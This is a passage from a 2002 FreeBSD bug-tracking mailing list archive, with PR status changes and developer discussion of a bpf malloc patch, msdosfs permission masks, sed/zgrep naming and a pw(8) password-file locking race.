Jan 29 20:22:14 PST 2002 root@bsd:/usr/src/sys/compile/MYKERN i386 >Description: found a minor bug in the bpf code. Unified diff included: # more /tmp/bpfdiffs --- /usr/src/sys/net/bpfold.c Fri Mar 8 17:18:45 2002 +++ /usr/src/sys/net/bpf.c Fri Mar 8 17:26:01 2002 @@ -990,7 +990,9 @@ return (EINVAL); size = flen * sizeof(*fp->bf_insns); - fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK); + if((fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK)) == NULL) + return (EINVAL); + if (copyin((caddr_t)fp->bf_insns, (caddr_t)fcode, size) == 0 && bpf_validate(fcode, (int)flen)) { s = splimp(); >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:24:22 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id C3B5D37B41B; Fri, 8 Mar 2002 20:24:13 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294HIE94631; Fri, 8 Mar 2002 20:17:18 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:17:18 -0800 (PST) From: Message-Id: <200203090417.g294HIE94631@freefall.freebsd.org> To: roelof@nisser.com, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/34847: oversight in LINT documentation line Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: oversight in LINT documentation line State-Changed-From-To: open->feedback State-Changed-By: dd State-Changed-When: Fri Mar 8 20:16:52 PST 2002 State-Changed-Why: The 4.5 version seems to be correct. Could you be more explicit in what you think the problem is? http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34847 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:24:24 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id BFBE137B421; Fri, 8 Mar 2002 20:24:17 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294EcL92659; Fri, 8 Mar 2002 20:14:38 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:14:38 -0800 (PST) From: Message-Id: <200203090414.g294EcL92659@freefall.freebsd.org> To: ajh3@cec.wustl.edu, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35129: Maildir support in login(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Maildir support in login(1) State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:13:24 PST 2002 State-Changed-Why: As Peter points out, this probably doesn't belong in login. Besides, if we add this, should we also add support for mh mailboxes? How about ? This sort of thing should be generalized (Peter suggests PAM, which seems appropriate) so that modifications to login aren't necessary every time someone comes up with a new mailbox format. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35129 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:24:28 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D420637B41C; Fri, 8 Mar 2002 20:24:19 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294JAK95731; Fri, 8 Mar 2002 20:19:10 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:19:10 -0800 (PST) From: Message-Id: <200203090419.g294JAK95731@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, sobomax@FreeBSD.org Subject: Re: bin/35099: ldd in -STABLE fails on libc. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: ldd in -STABLE fails on libc. Responsible-Changed-From-To: freebsd-bugs->sobomax Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 20:18:49 PST 2002 Responsible-Changed-Why: Maxim added this functionality. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35099 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:32:58 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9595437B402; Fri, 8 Mar 2002 20:32:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294TGk04126; Fri, 8 Mar 2002 20:29:16 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:29:16 -0800 (PST) From: Message-Id: <200203090429.g294TGk04126@freefall.freebsd.org> To: mike_makonnen@yahoo.com, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/34831: [PATCH] send-pr -a doesn't work as advertised Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] send-pr -a doesn't work as advertised State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:29:03 PST 2002 State-Changed-Why: Patch applied, thanks! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34831 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:42:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9C65737B404; Fri, 8 Mar 2002 20:42:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294ehl14946; Fri, 8 Mar 2002 20:40:43 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:40:43 -0800 (PST) From: Message-Id: <200203090440.g294ehl14946@freefall.freebsd.org> To: mike_makonnen@yahoo.com, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/34790: [PATCH] fortune(6) typo fixes Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] fortune(6) typo fixes State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:36:54 PST 2002 State-Changed-Why: Patch applied modulo the produces->consumes changes. I don't understand the joke or the change, and google finds lots of quotes with "produces" and none with "consumes". If you insist that, that change is right, please file another PR with some rationale. (Actually, we would appreciate it if *all* PRs, no matter how trivial, included some explanation of what the patch does.) Thanks! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34790 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:52:57 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1DC3F37B404; Fri, 8 Mar 2002 20:52:54 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294hbx18317; Fri, 8 Mar 2002 20:43:37 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:43:37 -0800 (PST) From: Message-Id: <200203090443.g294hbx18317@freefall.freebsd.org> To: e0026813@stud3.tuwien.ac.at, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/34791: MFC removal of outdated comment from syscalls.master Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: MFC removal of outdated comment from syscalls.master State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:43:23 PST 2002 State-Changed-Why: offending comment obliterated http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34791 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:53: 0 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9BCAD37B416; Fri, 8 Mar 2002 20:52:54 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294nZ923463; Fri, 8 Mar 2002 20:49:35 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:49:35 -0800 (PST) From: Message-Id: <200203090449.g294nZ923463@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, dd@FreeBSD.org Subject: Re: bin/34744: Add -a (same as -PpR) flag to cp(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Add -a (same as -PpR) flag to cp(1) Responsible-Changed-From-To: freebsd-bugs->dd Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 20:49:18 PST 2002 Responsible-Changed-Why: I'll apply this if I don't hear any objections from -hackers. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34744 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 20:53: 0 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4C7EB37B41A; Fri, 8 Mar 2002 20:52:55 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294pkE23784; Fri, 8 Mar 2002 20:51:46 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:51:46 -0800 (PST) From: Message-Id: <200203090451.g294pkE23784@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, rwatson@FreeBSD.org Subject: Re: conf/34733: useless/invalid lomac option added by sysinstall. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: useless/invalid lomac option added by sysinstall. Responsible-Changed-From-To: freebsd-bugs->rwatson Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 20:50:20 PST 2002 Responsible-Changed-Why: Robert made the offending change to sysinstall. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34733 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 21: 2:58 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 96A6237B405; Fri, 8 Mar 2002 21:02:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294tkH24210; Fri, 8 Mar 2002 20:55:46 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:55:46 -0800 (PST) From: Message-Id: <200203090455.g294tkH24210@freefall.freebsd.org> To: sean@chittenden.org, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: conf/34317: /etc/inetd.conf has cvskserver listening on an unknown port Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: /etc/inetd.conf has cvskserver listening on an unknown port State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Fri Mar 8 20:55:38 PST 2002 State-Changed-Why: Patch applied, thanks! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34317 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 21: 2:58 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4F08837B400; Fri, 8 Mar 2002 21:02:55 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g294wZu24618; Fri, 8 Mar 2002 20:58:35 -0800 (PST) (envelope-from dd) Date: Fri, 8 Mar 2002 20:58:35 -0800 (PST) From: Message-Id: <200203090458.g294wZu24618@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, gad@FreeBSD.org Subject: Re: misc/34309: lpd does not garantie that controlfiles begin with "cf" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: lpd does not garantie that controlfiles begin with "cf" Responsible-Changed-From-To: freebsd-bugs->gad Responsible-Changed-By: dd Responsible-Changed-When: Fri Mar 8 20:57:21 PST 2002 Responsible-Changed-Why: Over to lpd maintainer. It looks like the submitter wasn't actually using lpd on FreeBSD, but I think slackware may have stolen our lpd, so it might be our bug. I'm sure Garance will know if any of this makes sense or if someone put crack in my caffeine. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34309 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 21:40: 5 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4FC4C37B404 for ; Fri, 8 Mar 2002 21:40:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g295e2g33868; Fri, 8 Mar 2002 21:40:02 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 21:40:02 -0800 (PST) Message-Id: <200203090540.g295e2g33868@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Dima Dorfman Subject: Re: kern/35700: a small code update Reply-To: Dima Dorfman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35700; it has been noted by GNATS. From: Dima Dorfman To: nobody Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: kern/35700: a small code update Date: Sat, 09 Mar 2002 05:32:23 +0000 nobody wrote: > # more /tmp/bpfdiffs > --- /usr/src/sys/net/bpfold.c Fri Mar 8 17:18:45 2002 > +++ /usr/src/sys/net/bpf.c Fri Mar 8 17:26:01 2002 > @@ -990,7 +990,9 @@ > return (EINVAL); > > size = flen * sizeof(*fp->bf_insns); > - fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK); > + if((fcode = (struct bpf_insn *)malloc(size, M_BPF, M_WAITOK)) == NULL) > + return (EINVAL); No, the original is right; kernel malloc won't return NULL if M_WAITOK is specified. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 23:20:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 13B0537B405 for ; Fri, 8 Mar 2002 23:20:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g297K3s52663; Fri, 8 Mar 2002 23:20:03 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 23:20:03 -0800 (PST) Message-Id: <200203090720.g297K3s52663@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Crist J. Clark" Subject: Re: kern/35699: [PATCH] msdosfs: differrent masks for directories and other files Reply-To: "Crist J. Clark" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35699; it has been noted by GNATS. From: "Crist J. Clark" To: Eugene Grosbein Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/35699: [PATCH] msdosfs: differrent masks for directories and other files Date: Fri, 8 Mar 2002 23:19:45 -0800 On Sat, Mar 09, 2002 at 10:36:01AM +0700, Eugene Grosbein wrote: [snip] > The 'noexec' mount option does not help here - it does not > clear 'executable' flag for files. 'noexec' works fine. If you try to execute a file on an MSDOS filesystem marked 'noexec,' you get permission denied. The 'noexec' option has no effect on permission bits for MSDOS, UFS, or any other filesystem. As for the rest of the problems, IMHO, MSDOS filesystems have limitations. Live with them or don't use MSDOS filesystems. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 0:20: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 78A1F37B41A for ; Sat, 9 Mar 2002 00:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g298K2u64676; Sat, 9 Mar 2002 00:20:02 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 00:20:02 -0800 (PST) Message-Id: <200203090820.g298K2u64676@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Eugene Grosbein Subject: Re: kern/35699: [PATCH] msdosfs: differrent masks for directories and other files Reply-To: Eugene Grosbein Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35699; it has been noted by GNATS. From: Eugene Grosbein To: "Crist J. Clark" Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/35699: [PATCH] msdosfs: differrent masks for directories and other files Date: Sat, 09 Mar 2002 15:14:21 +0700 "Crist J. Clark" wrote: > > > The 'noexec' mount option does not help here - it does not > > clear 'executable' flag for files. > > 'noexec' works fine. If you try to execute a file on an MSDOS > filesystem marked 'noexec,' you get permission denied. The 'noexec' > option has no effect on permission bits for MSDOS, UFS, or any other > filesystem. Exactly. And sometimes it's desirable for files to "look like" non-executable. > As for the rest of the problems, IMHO, MSDOS filesystems have > limitations. Live with them or don't use MSDOS filesystems. Why just not get rid of some limitations? Eugene Grosbein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 0:30: 5 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5966F37B416 for ; Sat, 9 Mar 2002 00:30:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g298U2S65371; Sat, 9 Mar 2002 00:30:02 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 00:30:02 -0800 (PST) Message-Id: <200203090830.g298U2S65371@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: David Malone Subject: Re: kern/35691: Realtek NIC driver does not work with Realtek 8201L NIC adapter Reply-To: David Malone Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35691; it has been noted by GNATS. From: David Malone To: Florian Cathala Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: kern/35691: Realtek NIC driver does not work with Realtek 8201L NIC adapter Date: Sat, 9 Mar 2002 08:22:58 +0000 On Fri, Mar 08, 2002 at 03:20:47PM -0800, Florian Cathala wrote: > >Description: > The rl driver has not detected the NIC adapter at boot time with the GENERIC kernel. Can you post the output of pciconf -l? It would probably help people figure out how to support it. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 0:42:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 8DDCC37B400; Sat, 9 Mar 2002 00:42:54 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g298YRq65901; Sat, 9 Mar 2002 00:34:27 -0800 (PST) (envelope-from dd) Date: Sat, 9 Mar 2002 00:34:27 -0800 (PST) From: Message-Id: <200203090834.g298YRq65901@freefall.freebsd.org> To: toor@twwells.com, dd@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/32079: minor timebomb in /etc/rc Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: minor timebomb in /etc/rc State-Changed-From-To: open->closed State-Changed-By: dd State-Changed-When: Sat Mar 9 00:34:07 PST 2002 State-Changed-Why: As matusita explained, the location of ldconfig is not what's being parameterized. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=32079 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 1: 2:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id EFA0E37B402; Sat, 9 Mar 2002 01:02:53 -0800 (PST) Received: (from dd@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g298vbv69052; Sat, 9 Mar 2002 00:57:37 -0800 (PST) (envelope-from dd) Date: Sat, 9 Mar 2002 00:57:37 -0800 (PST) From: Message-Id: <200203090857.g298vbv69052@freefall.freebsd.org> To: dd@FreeBSD.org, freebsd-bugs@FreeBSD.org, mux@FreeBSD.org Subject: Re: bin/31205: [PATCH] WARNSify and add a new option to script(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] WARNSify and add a new option to script(1) Responsible-Changed-From-To: freebsd-bugs->mux Responsible-Changed-By: dd Responsible-Changed-When: Sat Mar 9 00:57:18 PST 2002 Responsible-Changed-Why: Over to originator. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=31205 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 2:30:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4DCD937B400 for ; Sat, 9 Mar 2002 02:30:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29AU4t85167; Sat, 9 Mar 2002 02:30:04 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 02:30:04 -0800 (PST) Message-Id: <200203091030.g29AU4t85167@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Matthew D. Fuller" Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Reply-To: "Matthew D. Fuller" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35505; it has been noted by GNATS. From: "Matthew D. Fuller" To: Bruce Evans Cc: Peter Pentchev , freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) Date: Sat, 9 Mar 2002 04:28:03 -0600 On Wed, Mar 06, 2002 at 12:10:51AM +1100 I heard the voice of Bruce Evans, and lo! it spake thus: > > GNU had to keep [ef]grep for historical reasons. GNU zgrep has to have > a different name because it is a different utility (at least in the old > version of it in FreeBSD) -- it is an (unused in FreeBSD) shell script in > the gzip distribution. zgrep as part of grep is a FreeBSD hack, at least > in the version in FreeBSD. Even if it were part of GNU egrep, it would > have to have a link named zgrep for backwards compatibility. Well, that makes one vote for, and Bruce against. :) So, what's the procedure now? I guess we see if anybody with a commit bit likes it well enough to toss it in, and if not, close it and call it decided? -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Unix Systems Administrator | fullermd@futuresouth.com Specializing in FreeBSD | http://www.over-yonder.net/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 2:52:29 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from draco.over-yonder.net (draco.over-yonder.net [198.78.58.61]) by hub.freebsd.org (Postfix) with ESMTP id 2C85337B417 for ; Sat, 9 Mar 2002 02:52:26 -0800 (PST) Received: by draco.over-yonder.net (Postfix, from userid 100) id D2390FC2; Sat, 9 Mar 2002 04:52:25 -0600 (CST) Date: Sat, 9 Mar 2002 04:52:25 -0600 From: "Matthew D. Fuller" To: Daniel Sickels Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bug in pw, freebsd 4.5 Message-ID: <20020309045225.D57293@over-yonder.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5-fullermd.1i In-Reply-To: ; from oreh@eznet.net on Fri, Mar 08, 2002 at 12:43:51PM -0500 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Mar 08, 2002 at 12:43:51PM -0500 I heard the voice of Daniel Sickels, and lo! it spake thus: > Multiple instances of pw making chanegs at the same time cause some rather > horrid things to happen. The master.passwd file can be quite badly > corrupted, or pwd_mkdb can fail. This bug is easily reproducable with a > 10000+ line master.passwd, using: > pw useradd test1; pw userdel test1 > ten times over in one process, and > pw useradd test2; pw userdel test2 > ten times over at the same time. The reason for this is that the only file pw(8) locks is /etc/master.passwd.new when it copies into it. It can't lock master.passwd, because that file will disappear and reappear in the middle of its work. I suppose in THEORY you could change the master.passwd -> internal fudging -> master.passwd.new -> rename(master.passwd.new, master.passwd) into .... -> ftruncate(master.passwd), master.passwd.new copy into master.passwd, but that seems rather ugly. I think the correct (well, the least incorrect, anyway) solution is to use an external lockfile for dealings with the passwd file. From a look at hier(8), /var/run seems the most appropriate place. pwd_mkdb(8) and vipw(8) would need to be made to use that location too, and I think pwd_mkdb(8) may need to have a flag added to NOT lock (since pw(8) calls pwd_mkdb(8) internally, it would have to hold the lock the whole time so as to avoid opening a race window). If anybody's interested, I could take a stab at hacking something together for this sometime over the next week or so. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Unix Systems Administrator | fullermd@futuresouth.com Specializing in FreeBSD | http://www.over-yonder.net/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 3:20: 6 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from s096-n062.tele2.cz (s096-n062.tele2.cz [213.246.96.62]) by hub.freebsd.org (Postfix) with ESMTP id C5E8E37B405; Sat, 9 Mar 2002 03:19:55 -0800 (PST) Received: from localhost (plusik@localhost) by s096-n062.tele2.cz (8.11.6/8.11.6) with ESMTP id g29BHiO05360; Sat, 9 Mar 2002 12:17:44 +0100 (CET) (envelope-from plusik@pohoda.cz) X-Authentication-Warning: s096-n062.tele2.cz: plusik owned process doing -bs Date: Sat, 9 Mar 2002 12:17:44 +0100 (CET) From: Tomas Pluskal X-X-Sender: plusik@s096-n062.tele2.cz To: Garrett Wollman Cc: freebsd-i18n@FreeBSD.ORG, Subject: Re: multibyte(3) functions not working ? In-Reply-To: <200203082129.g28LTf644313@khavrinen.lcs.mit.edu> Message-ID: <20020309121650.J5358-100000@s096-n062.tele2.cz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII 